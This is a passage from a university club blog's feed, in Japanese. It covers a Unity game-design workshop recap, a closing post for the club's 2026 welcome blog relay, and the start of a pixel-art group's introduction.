id="%E7%B5%8C%E7%B7%AF">&#x7D4C;&#x7DEF;</h2><p>Unity&#x306B;&#x3088;&#x3063;&#x3066;&#x6211;&#x3005;&#x306F;&#x7C21;&#x5358;&#x306B;&#x30B2;&#x30FC;&#x30E0;&#x3092;&#x4F5C;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;&#x3057;&#x304B;&#x3057;&#x3001;&#x7C21;&#x5358;&#x306B;&#x4F5C;&#x308C;&#x3066;&#x3057;&#x307E;&#x3046;&#x3053;&#x3068;&#x3067;&#x305D;&#x308C;&#x306B;&#x983C;&#x308A;&#x304D;&#x308A;&#x306B;&#x306A;&#x308A;&#x3001;&#x826F;&#x3044;&#x30B3;&#x30FC;&#x30C9;&#x3092;&#x66F8;&#x3044;&#x305F;&#x308A;&#x3084;&#x4FDD;&#x5B88;&#x6027;&#x306E;&#x9AD8;&#x3044;&#x8A2D;&#x8A08;&#x3092;&#x8003;&#x3048;&#x305F;&#x308A;&#x3068;&#x3044;&#x3063;&#x305F;&#x30E2;&#x30C1;&#x30D9;&#x30FC;&#x30B7;&#x30E7;&#x30F3;&#x304C;&#x8584;&#x308C;&#x3066;&#x3057;&#x307E;&#x3063;&#x3066;&#x3044;&#x308B;&#x306E;&#x3067;&#x306F;&#x306A;&#x3044;&#x304B;&#x3068;&#x611F;&#x3058;&#x307E;&#x3057;&#x305F;&#x3002;</p><p>&#x7279;&#x306B;&#x3001;&#x30C1;&#x30FC;&#x30E0;&#x3092;&#x7D44;&#x3093;&#x3067;&#x306E;&#x958B;&#x767A;&#x3084;&#x9577;&#x671F;&#x306B;&#x6E21;&#x308B;&#x958B;&#x767A;&#x306B;&#x304A;&#x3044;&#x3066;&#x306F;&#x9069;&#x5F53;&#x306A;&#x30B3;&#x30FC;&#x30C7;&#x30A3;&#x30F3;&#x30B0;&#x306B;&#x3088;&#x3063;&#x3066;&#x6280;&#x8853;&#x8CA0;&#x50B5;&#x304C;&#x3069;&#x3093;&#x3069;&#x3093;&#x6E9C;&#x307E;&#x308A;&#x3001;&#x3044;&#x3064;&#x306E;&#x9593;&#x306B;&#x304B;&#x8EAB;&#x52D5;&#x304D;&#x304C;&#x53D6;&#x308C;&#x306A;&#x304F;&#x306A;&#x3063;&#x3066;&#x3057;&#x307E;&#x3046;&#x3068;&#x3044;&#x3063;&#x305F;&#x3053;&#x3068;&#x306B;&#x306A;&#x308A;&#x304B;&#x306D;&#x307E;&#x305B;&#x3093;&#x3002;&#x5178;&#x578B;&#x7684;&#x306A;&#x4F8B;&#x3067;&#x8A00;&#x3048;&#x3070;&#x3001;<code>GameManager</code> &#x3068;&#x3044;&#x3046;&#x540D;&#x306E;&#x6570;&#x5343;&#x884C;&#x306E;&#x795E;&#x30AF;&#x30E9;&#x30B9;&#x306B;&#x5168;&#x3066;&#x3092;&#x8A70;&#x3081;&#x8FBC;&#x3080;&#x3001;&#x3068;&#x3044;&#x3046;&#x3088;&#x3046;&#x306A;&#x3053;&#x3068;&#x3067;&#x3059;&#x3002;traP&#x3067;&#x306F;&#x30CF;&#x30C3;&#x30AB;&#x30BD;&#x30F3;&#x3084;&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30C8;&#x306A;&#x3069;&#x3067;&#x30C1;&#x30FC;&#x30E0;&#x958B;&#x767A;&#x3092;&#x3059;&#x308B;&#x6A5F;&#x4F1A;&#x304C;&#x591A;&#x3044;&#x305F;&#x3081;&#x3001;&#x3053;&#x306E;&#x554F;&#x984C;&#x306F;&#x91CD;&#x8981;&#x3067;&#x3059;&#x3002;</p><p>&#x305D;&#x3053;&#x3067;&#x3001;&#x8A2D;&#x8A08;&#x306B;&#x5BFE;&#x3059;&#x308B;&#x30B5;&#x30FC;&#x30AF;&#x30EB;&#x5185;&#x306E;&#x610F;&#x8B58;&#x3092;&#x9AD8;&#x3081;&#x3001;&#x3072;&#x3044;&#x3066;&#x306F;&#x66F4;&#x306A;&#x308B;&#x30B2;&#x30FC;&#x30E0;&#x958B;&#x767A;&#x3092;&#x4FC3;&#x9032;&#x3059;&#x308B;&#x305F;&#x3081;&#x306B;&#x3001;&#x672C;&#x8B1B;&#x7FD2;&#x4F1A;&#x3092;&#x958B;&#x50AC;&#x3059;&#x308B;&#x306B;&#x81F3;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;</p><h2 id="%E5%86%85%E5%AE%B9">&#x5185;&#x5BB9;</h2><p>&#x8B1B;&#x7FD2;&#x4F1A;&#x306F;&#x5168;3&#x56DE;&#x306B;&#x5206;&#x3051;&#x3066;&#x884C;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;</p><ul><li>&#x7B2C;1&#x56DE;: &#x300C;&#x826F;&#x3044;&#x30B3;&#x30FC;&#x30C9;&#x300D;</li><li>&#x7B2C;2&#x56DE;: &#x300C;&#x30AF;&#x30E9;&#x30B9;&#x8A2D;&#x8A08;&#x300D;</li><li>&#x7B2C;3&#x56DE;: &#x300C;&#x30A2;&#x30FC;&#x30AD;&#x30C6;&#x30AF;&#x30C1;&#x30E3;&#x300D;</li></ul><p>&#x7B2C;1&#x56DE;&#x3067;&#x306F;&#x547D;&#x540D;&#x3084;&#x30D0;&#x30B0;&#x306E;&#x539F;&#x56E0;&#x3068;&#x306A;&#x308B;&#x30B3;&#x30FC;&#x30C9;&#x306A;&#x3069;&#x3001;&#x8A2D;&#x8A08;&#x306E;&#x57FA;&#x790E;&#x3068;&#x306A;&#x308B;&#x300C;&#x826F;&#x3044;&#x30B3;&#x30FC;&#x30C9;&#x300D;&#x3092;&#x66F8;&#x304F;&#x65B9;&#x6CD5;&#x3092;&#x7D39;&#x4ECB;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;&#x7B2C;2&#x56DE;&#x3067;&#x306F;&#x305D;&#x308C;&#x3092;&#x524D;&#x63D0;&#x306B;&#x4FDD;&#x5B88;&#x6027;&#x306E;&#x9AD8;&#x3044;&#x30AF;&#x30E9;&#x30B9;&#x3092;&#x3069;&#x3046;&#x8A2D;&#x8A08;&#x3059;&#x308B;&#x304B;&#x306B;&#x7126;&#x70B9;&#x3092;&#x5F53;&#x3066;&#x3001;&#x6700;&#x5F8C;&#x306E;&#x7B2C;3&#x56DE;&#x3067;&#x306F;&#x3088;&#x308A;&#x767A;&#x5C55;&#x7684;&#x306A;&#x5185;&#x5BB9;&#x3068;&#x3057;&#x3066;&#x5927;&#x898F;&#x6A21;&#x958B;&#x767A;&#x3082;&#x898B;&#x636E;&#x3048;&#x305F;&#x30A2;&#x30FC;&#x30AD;&#x30C6;&#x30AF;&#x30C1;&#x30E3;&#x306E;&#x8A2D;&#x8A08;&#x6CD5;&#x3092;&#x89E3;&#x8AAC;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;</p><h2 id="%E8%B3%87%E6%96%99">&#x8CC7;&#x6599;</h2><p>&#x5916;&#x90E8;&#x5411;&#x3051;&#x306B;&#x518D;&#x7DE8;&#x96C6;&#x3057;&#x3066;&#x516C;&#x958B;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://kageki128.github.io/unity-design-workshop/?ref=trap.jp"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Unity&#x8A2D;&#x8A08;&#x8B1B;&#x7FD2;&#x4F1A;</div><div class="kg-bookmark-description">&#x30C7;&#x30B8;&#x30BF;&#x30EB;&#x5275;&#x4F5C;&#x540C;&#x597D;&#x4F1A;traP&#x5185;&#x3067;&#x958B;&#x50AC;&#x3057;&#x305F;Unity&#x8A2D;&#x8A08;&#x8B1B;&#x7FD2;&#x4F1A;&#x306E;&#x516C;&#x958B;&#x8CC7;&#x6599;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://t3.gstatic.com/faviconV2?client=SOCIAL&amp;type=FAVICON&amp;fallback_opts=TYPE,SIZE,URL&amp;url=https://github.io/unity-design-workshop/&amp;size=128" alt="Unity&#x8A2D;&#x8A08;&#x8B1B;&#x7FD2;&#x4F1A;&#x3092;&#x958B;&#x50AC;&#x3057;&#x307E;&#x3057;&#x305F;"><span class="kg-bookmark-author">&#x30C6;&#x30AD;&#x30B9;&#x30C8;&#x3092;&#x958B;&#x304F;</span></div></div></a></figure><h2 id="%E6%84%9F%E6%83%B3">&#x611F;&#x60F3;</h2><p>&#x3069;&#x3046;&#x306A;&#x308B;&#x304B;&#x3068;&#x601D;&#x3044;&#x307E;&#x3057;&#x305F;&#x304C;&#x3001;&#x53D7;&#x8B1B;&#x8005;&#x304B;&#x3089;&#x306F;&#x304B;&#x306A;&#x308A;&#x826F;&#x3044;&#x8A55;&#x4FA1;&#x304C;&#x9802;&#x3051;&#x3066;&#x5B89;&#x5FC3;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;</p><p>&#x30B2;&#x30FC;&#x30E0;&#x306F;&#x7D50;&#x5C40;&#x9762;&#x767D;&#x3055;&#x304C;&#x5168;&#x3066;&#x3067;&#x3042;&#x308A;&#x3001;&#x30B3;&#x30FC;&#x30C9;&#x306E;&#x826F;&#x3057;&#x60AA;&#x3057;&#x306F;&#x305D;&#x306E;&#x9762;&#x767D;&#x3055;&#x306B;&#x5168;&#x304F;&#x95A2;&#x4E0E;&#x3057;&#x307E;&#x305B;&#x3093;&#x3002;&#x5B9F;&#x969B;&#x3001;&#x90E8;&#x5185;&#x3067;&#x9AD8;&#x3044;&#x8A55;&#x4FA1;&#x3092;&#x5F97;&#x3066;&#x3044;&#x308B;&#x30B2;&#x30FC;&#x30E0;&#x306E;&#x30B3;&#x30FC;&#x30C9;&#x304C;&#x5FC5;&#x305A;&#x3057;&#x3082;&#x826F;&#x3044;&#x3082;&#x306E;&#x3067;&#x3042;&#x308B;&#x3068;&#x306F;&#x9650;&#x308A;&#x307E;&#x305B;&#x3093;&#x3002;&#x3068;&#x306F;&#x3044;&#x3048;&#x3001;&#x3069;&#x3093;&#x306A;&#x306B;&#x9762;&#x767D;&#x3044;&#x30A2;&#x30A4;&#x30C7;&#x30A2;&#x3082;&#x5F62;&#x306B;&#x3067;&#x304D;&#x306A;&#x3051;&#x308C;&#x3070;&#x610F;&#x5473;&#x304C;&#x3042;&#x308A;&#x307E;&#x305B;&#x3093;&#x3002;&#x8A2D;&#x8A08;&#x3092;&#x8511;&#x308D;&#x306B;&#x3057;&#x3066;&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30C8;&#x304C;&#x708E;&#x4E0A;&#x3057;&#x3001;&#x958B;&#x767A;&#x304C;&#x9813;&#x632B;&#x3057;&#x3066;&#x306F;&#x5143;&#x3082;&#x5B50;&#x3082;&#x3042;&#x308A;&#x307E;&#x305B;&#x3093;&#x3002;</p><p>&#x8FD1;&#x5E74;&#x3001;traP&#x306E;&#x30B2;&#x30FC;&#x30E0;&#x5236;&#x4F5C;&#x8005;&#x306E;&#x9593;&#x3067;&#x3082;&#x8A2D;&#x8A08;&#x3068;&#x54C1;&#x8CEA;&#x306B;&#x610F;&#x8B58;&#x3092;&#x5411;&#x3051;&#x308B;&#x4EBA;&#x304C;&#x5897;&#x3048;&#x3066;&#x304D;&#x305F;&#x3088;&#x3046;&#x306B;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;&#x3053;&#x308C;&#x306F;&#x826F;&#x3044;&#x5146;&#x5019;&#x3067;&#x3059;&#x3002;&#x30A2;&#x30A4;&#x30C7;&#x30A2;&#x3092;&#x5B9F;&#x73FE;&#x3059;&#x308B;&#x624B;&#x6BB5;&#x3068;&#x3057;&#x3066;&#x306E;&#x8A2D;&#x8A08;&#x3092;&#x5927;&#x5207;&#x306B;&#x3057;&#x3066;&#x8CB0;&#x3048;&#x308C;&#x3070;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;</p>]]></content:encoded></item><item><title><![CDATA[新歓ブログリレー終わります  2026]]></title><description><![CDATA[<p>&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x306F;<a href="https://trap.jp/tag/welcome-relay-2026">&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026</a> 52&#x65E5;&#x76EE;&#x306E;&#x8A18;&#x4E8B;&#x3067;&#x3059;&#x3002;</p><!--kg-card-begin: markdown--><p>&#x3061;&#x306A;&#x307F;&#x306B;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">5</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2704</span></span></span></span> &#x3067;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><p></p><p>&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x304C;&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026&#x306E;</p>]]></description><link>https://trap.jp/post/2928/</link><guid isPermaLink="false">69ee1903e2394c00016eaa6c</guid><category><![CDATA[新歓ブログリレー2026]]></category><dc:creator><![CDATA[2251799813685248]]></dc:creator><pubDate>Sun, 26 Apr 2026 14:14:22 GMT</pubDate><media:content url="https://trap.jp/content/images/2026/04/markup_2776.png" medium="image"/><content:encoded><![CDATA[<img src="https://trap.jp/content/images/2026/04/markup_2776.png" alt="&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;&#x7D42;&#x308F;&#x308A;&#x307E;&#x3059;  2026"><p>&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x306F;<a href="https://trap.jp/tag/welcome-relay-2026">&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026</a> 52&#x65E5;&#x76EE;&#x306E;&#x8A18;&#x4E8B;&#x3067;&#x3059;&#x3002;</p><!--kg-card-begin: markdown--><p>&#x3061;&#x306A;&#x307F;&#x306B;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">5</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2704</span></span></span></span> &#x3067;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><p></p><p>&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x304C;&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026&#x306E;&#x6700;&#x5F8C;&#x306E;&#x8A18;&#x4E8B;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;<br>&#x90E8;&#x54E1;&#x304C;&#x69D8;&#x3005;&#x306A;&#x8A18;&#x4E8B;&#x3092;&#x66F8;&#x3044;&#x3066;&#x304F;&#x308C;&#x307E;&#x3057;&#x305F;&#x304C;&#x3001;&#x3044;&#x304B;&#x304C;&#x3067;&#x3057;&#x305F;&#x3067;&#x3057;&#x3087;&#x3046;&#x304B;&#xFF1F;&#x697D;&#x3057;&#x3093;&#x3067;&#x3044;&#x305F;&#x3060;&#x3051;&#x305F;&#x306A;&#x3089;&#x5E78;&#x3044;&#x3067;&#x3059;&#x3002;</p><p>&#x5165;&#x90E8;&#x671F;&#x9593;&#x306F;&#x7D42;&#x308F;&#x3063;&#x3066;&#x3057;&#x307E;&#x3044;&#x307E;&#x3057;&#x305F;&#x304C;&#x30AA;&#x30F3;&#x30E9;&#x30A4;&#x30F3;&#x306E;&#x5165;&#x90E8;&#x306F;&#x3044;&#x3064;&#x3067;&#x3082;&#x53D7;&#x3051;&#x4ED8;&#x3051;&#x3066;&#x3044;&#x308B;&#x306E;&#x3067;&#x3001;&#x5165;&#x90E8;&#x5E0C;&#x671B;&#x306E;&#x65B9;&#x306F;&#x3053;&#x3061;&#x3089;&#x306E;&#x8A18;&#x4E8B;&#x306E;&#x30AA;&#x30F3;&#x30E9;&#x30A4;&#x30F3;&#x5165;&#x90E8;&#x3092;&#x53C2;&#x8003;&#x306B;&#x624B;&#x7D9A;&#x304D;&#x3092;&#x884C;&#x3063;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002;</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://trap.jp/post/2835/"><div class="kg-bookmark-content"><div class="kg-bookmark-title">2026&#x5E74;&#x5EA6; traP&#x5165;&#x4F1A;&#x306E;&#x624B;&#x5F15;&#x304D;</div><div class="kg-bookmark-description">&#x4ECA;&#x5E74;&#x5EA6;&#x306E;traP&#x3078;&#x306E;&#x5165;&#x4F1A;&#x65B9;&#x6CD5;&#x3092;&#x8AAC;&#x660E;&#x3057;&#x307E;&#x3059;&#x3002; &#x5C1A;&#x3001;&#x904E;&#x53BB;&#x306B;traP&#x306B;&#x6240;&#x5C5E;&#x3057;&#x3066;&#x3044;&#x3066;&#x518D;&#x5EA6;&#x5165;&#x4F1A;&#x3092;&#x5E0C;&#x671B;&#x3059;&#x308B;&#x5834;&#x5408;&#x306F;&#x3001;&#x5165;&#x4F1A;&#x624B;&#x7D9A;&#x304D;&#x3067;&#x306F;&#x306A;&#x304F;&#x518D;&#x5165;&#x4F1A;&#x624B;&#x7D9A;&#x304D;&#x3092;&#x884C;&#x3046;&#x306E;&#x3067;&#x3001;&#x3053;&#x3061;&#x3089;&#x306E;Google&#x30D5;&#x30A9;&#x30FC;&#x30E0;&#x306E;&#x300C;&#x518D;&#x5165;&#x4F1A;&#x53D7;&#x4ED8;&#x300D;&#x304B;&#x3089;&#x3054;&#x7533;&#x8ACB;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002; &#x307E;&#x305F;&#x3001;traP&#x3067;&#x306F;&#x5165;&#x4F1A;&#x671F;&#x9593;&#x4EE5;&#x5916;&#x3067;&#x3082;&#x5165;&#x4F1A;&#x3092;&#x53D7;&#x3051;&#x4ED8;&#x3051;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x5165;&#x4F1A;&#x671F;&#x9593;&#x5916;&#x306B;&#x5165;&#x4F1A;&#x3092;&#x5E0C;&#x671B;&#x3059;&#x308B;&#x65B9;&#x3082;&#x3001;&#x3053;&#x3061;&#x3089;&#x306E;Google&#x30D5;&#x30A9;&#x30FC;&#x30E0;&#x306E;&#x300C;&#x65B0;&#x898F;&#x5165;&#x4F1A;&#x53D7;&#x4ED8;&#x300D;&#x304B;&#x3089;&#x3054;&#x7533;&#x8ACB;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002; &#x5165;&#x4F1A;&#x6761;&#x4EF6; * &#x6771;&#x4EAC;&#x79D1;&#x5B66;&#x5927;&#x5B66;&#x30FB;&#x5927;&#x5B66;&#x9662;&#x306B;&#x5728;&#x7C4D;&#x3057;&#x3066;&#x3044;&#x308B;&#x3053;&#x3068; &#x203B;&#x79D1;&#x76EE;&#x7B49;&#x5C65;&#x4FEE;&#x751F;&#x3001;&#x56DB;&#x5927;&#x5B66;&#x672A;&#x6765;&#x5171;&#x5275;&#x9023;&#x5408;&#x306E;&#x5B66;&#x751F;&#x306A;&#x3069;&#x3082;&#x3001;&#x6771;&#x4EAC;&#x79D1;&#x5B66;&#x5927;&#x5B66;&#x306B;&#x5728;&#x5B66;&#x3057;&#x3066;&#x3044;&#x308B;&#x3053;&#x3068;&#x306E;&#x8A3C;&#x660E;&#xFF08;&#x6771;&#x4EAC;&#x79D1;&#x5B66;&#x5927;&#x30E1;&#x30FC;&#x30EB;&#x30A2;&#x30C9;&#x30EC;&#x30B9;&#x306E;&#x6240;&#x6301;&#x8A3C;&#x660E;&#x3001;&#x5B66;&#x751F;&#x8A3C;&#x306E;&#x63D0;&#x793A;&#x3001;&#x5728;&#x5B66;&#x8A3C;&#x660E;&#x66F8;&#x306E;&#x63D0;&#x793A;&#x306E;&#x3044;&#x305A;&#x308C;&#x304B;&#xFF09;&#x304C;&#x3067;&#x304D;&#x308B;&#x5834;&#x5408;&#x306F;&#x5165;&#x4F1A;&#x53EF;&#x80FD;&#x3068;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;&#x305F;&#x3060;&#x3057;&#x3001;&#x5165;&#x4F1A;&#x624B;&#x7D9A;&#x304D;&#x304C;&#x901A;&#x5E38;&#x3068;&#x306F;&#x7570;&#x306A;&#x308B;&#x306E;&#x3067;&#x3001;&#x304A;&#x624B;&#x6570;&#x3067;&#x3059;&#x304C;&#x3053;&#x3061;&#x3089;&#x306E;Google&#x30D5;&#x30A9;&#x30FC;&#x30E0;&#x306E;&#x300C;&#x5165;&#x4F1A;&#x306B;&#x95A2;&#x3059;&#x308B;&#x304A;&#x554F;&#x3044;&#x5408;&#x308F;&#x305B;&#x300D;&#x304B;&#x3089;&#x3054;&#x9023;&#x7D61;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002; &#x5165;&#x4F1A;&#x65B9;&#x6CD5; &#x5165;&#x4F1A;&#x65B9;&#x6CD5;&#x306F;&#x3001;&#x5BFE;&#x9762;&#x5165;&#x4F1A;&#x3068;&#x30AA;&#x30F3;&#x30E9;&#x30A4;&#x30F3;&#x5165;&#x4F1A;&#x306E;2&#x3064;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;&#x3069;&#x3061;&#x3089;&#x304B;&#x3092;&#x9078;&#x3093;&#x3067;&#x3001;&#x624B;&#x7D9A;&#x304D;&#x3092;&#x9032;&#x3081;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002; &#x6CE8;&#x610F;&#x4E8B;&#x9805; &#x5165;&#x4F1A;&#x306E;&#x969B;&#x3001;&#x8B58;&#x5225;&#x5B50;&#x3068;&#x306A;&#x308B;traQID&#x3092;&#x6C7A;&#x3081;&#x3066;&#x3044;&#x305F;&#x3060;&#x304D;&#x307E;&#x3059;&#x3002;&#x6CE8;&#x610F;&#x3059;&#x3079;&#x304D;&#x3053;&#x3068;&#x3068;&#x3057;&#x3066;&#x3001;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://trap.jp/content/images/size/w256h256/2020/01/traP_logo_icon.png" alt="&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;&#x7D42;&#x308F;&#x308A;&#x307E;&#x3059;  2026"><span class="kg-bookmark-author">&#x6771;&#x4EAC;&#x79D1;&#x5B66;&#x5927;&#x5B66;&#x30C7;&#x30B8;&#x30BF;&#x30EB;&#x5275;&#x4F5C;&#x540C;&#x597D;&#x4F1A;traP</span><span class="kg-bookmark-publisher">atlas2802</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://trap.jp/content/images/2026/03/trap_logo_full--1-.png" alt="&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;&#x7D42;&#x308F;&#x308A;&#x307E;&#x3059;  2026"></div></a></figure><p>&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;&#x306F;&#x672C;&#x65E5;&#x3067;&#x7D42;&#x4E86;&#x3067;&#x3059;&#x304C;&#x3001;&#x30D6;&#x30ED;&#x30B0;&#x8A18;&#x4E8B;&#x306F;&#x4ECA;&#x5F8C;&#x3082;&#x4E0D;&#x5B9A;&#x671F;&#x306B;&#x6295;&#x7A3F;&#x3055;&#x308C;&#x307E;&#x3059;&#x3002;&#x304A;&#x697D;&#x3057;&#x307F;&#x306B;&#xFF01;</p>]]></content:encoded></item><item><title><![CDATA[ドット絵部の活動紹介 ver.2026]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x306F;<a href="https://trap.jp/tag/welcome-relay-2026">&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026</a> 51&#x65E5;&#x76EE;&#x306E;&#x8A18;&#x4E8B;&#x306E;&#x306F;&#x305A;&#x3067;&#x3057;&#x305F;&#x304C;&#x3001;52&#x65E5;&#x76EE;&#x306B;&#x7A81;&#x5165;&#x3057;&#x3066;&#x3057;&#x307E;&#x3044;&#x307E;&#x3057;&#x305F;&#xFF01;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h1 id="%E3%81%AF%E3%81%98%E3%82%81%E3%81%AB">&#x306F;&#x3058;&#x3081;&#x306B;</h1>
<p>&#x7686;&#x3055;&#x3093;</p>]]></description><link>https://trap.jp/post/2926/</link><guid isPermaLink="false">69eca30ae2394c00016ea828</guid><category><![CDATA[新歓ブログリレー2026]]></category><category><![CDATA[グラフィック班]]></category><category><![CDATA[ドット絵]]></category><dc:creator><![CDATA[lemon]]></dc:creator><pubDate>Sun, 26 Apr 2026 11:30:35 GMT</pubDate><media:content url="https://trap.jp/content/images/2026/04/1000001950-1.gif" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://trap.jp/content/images/2026/04/1000001950-1.gif" alt="&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x90E8;&#x306E;&#x6D3B;&#x52D5;&#x7D39;&#x4ECB; ver.2026"><p>&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x306F;<a href="https://trap.jp/tag/welcome-relay-2026">&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026</a> 51&#x65E5;&#x76EE;&#x306E;&#x8A18;&#x4E8B;&#x306E;&#x306F;&#x305A;&#x3067;&#x3057;&#x305F;&#x304C;&#x3001;52&#x65E5;&#x76EE;&#x306B;&#x7A81;&#x5165;&#x3057;&#x3066;&#x3057;&#x307E;&#x3044;&#x307E;&#x3057;&#x305F;&#xFF01;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h1 id="%E3%81%AF%E3%81%98%E3%82%81%E3%81%AB">&#x306F;&#x3058;&#x3081;&#x306B;</h1>
<p>&#x7686;&#x3055;&#x3093;&#x306F;&#x3058;&#x3081;&#x307E;&#x3057;&#x3066;&#x3001;lemon&#x3068;&#x3044;&#x3044;&#x307E;&#x3059;<br>
traP&#x30B0;&#x30E9;&#x30D5;&#x30A3;&#x30C3;&#x30AF;&#x73ED;&#x306B;&#x306F;&#x3001;&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x306B;&#x95A2;&#x3059;&#x308B;&#x3042;&#x308C;&#x3053;&#x308C;&#x3092;&#x6D3B;&#x52D5;&#x3059;&#x308B;&#x3001;&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x90E8;&#x3068;&#x3044;&#x3046;&#x3082;&#x306E;&#x304C;&#x3042;&#x308A;&#x307E;&#x3059;</p>
<p>&#x3053;&#x306E;&#x30D6;&#x30ED;&#x30B0;&#x3067;&#x306F;&#x3001;&#x6628;&#x5E74;&#x5EA6;&#x306A;&#x3069;&#x306B;&#x63CF;&#x304B;&#x308C;&#x305F;&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x3092;&#x7D39;&#x4ECB;&#x3057;&#x307E;&#x3059;&#xFF01;<br>
ver.2026&#x3063;&#x3066;&#x30BF;&#x30A4;&#x30C8;&#x30EB;&#x306B;&#x4ED8;&#x3051;&#x305F;&#x306E;&#x3067;&#x3001;&#x6765;&#x5E74;&#x3082;&#x4F3C;&#x305F;&#x3088;&#x3046;&#x306A;&#x30D6;&#x30ED;&#x30B0;&#x3092;&#x51FA;&#x3057;&#x3066;&#x304F;&#x308C;&#x308B;&#x3068;&#x3044;&#x3044;&#x3067;&#x3059;&#x306D;(&#x4EBA;&#x4EFB;&#x305B;)</p>
<p>&#x3067;&#x306F;&#x3069;&#x3046;&#x305E;&#x301C;</p>
<!--kg-card-end: markdown--><p></p><!--kg-card-begin: markdown--><h2 id="fuka"><a href="https://trap.jp/author/fuka/">@fuka</a></h2>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/1000001945.png" class="kg-image" alt="&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x90E8;&#x306E;&#x6D3B;&#x52D5;&#x7D39;&#x4ECB; ver.2026" loading="lazy" width="512" height="512"></figure><!--kg-card-begin: markdown--><p>&#x4E00;&#x8A00;&#x30B3;&#x30E1;&#x30F3;&#x30C8;<br>
&gt;&#x661F;&#x8857;&#x3059;&#x3044;&#x305B;&#x3044;&#x3055;&#x3093;&#x3092;&#x5FDC;&#x63F4;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;</p>
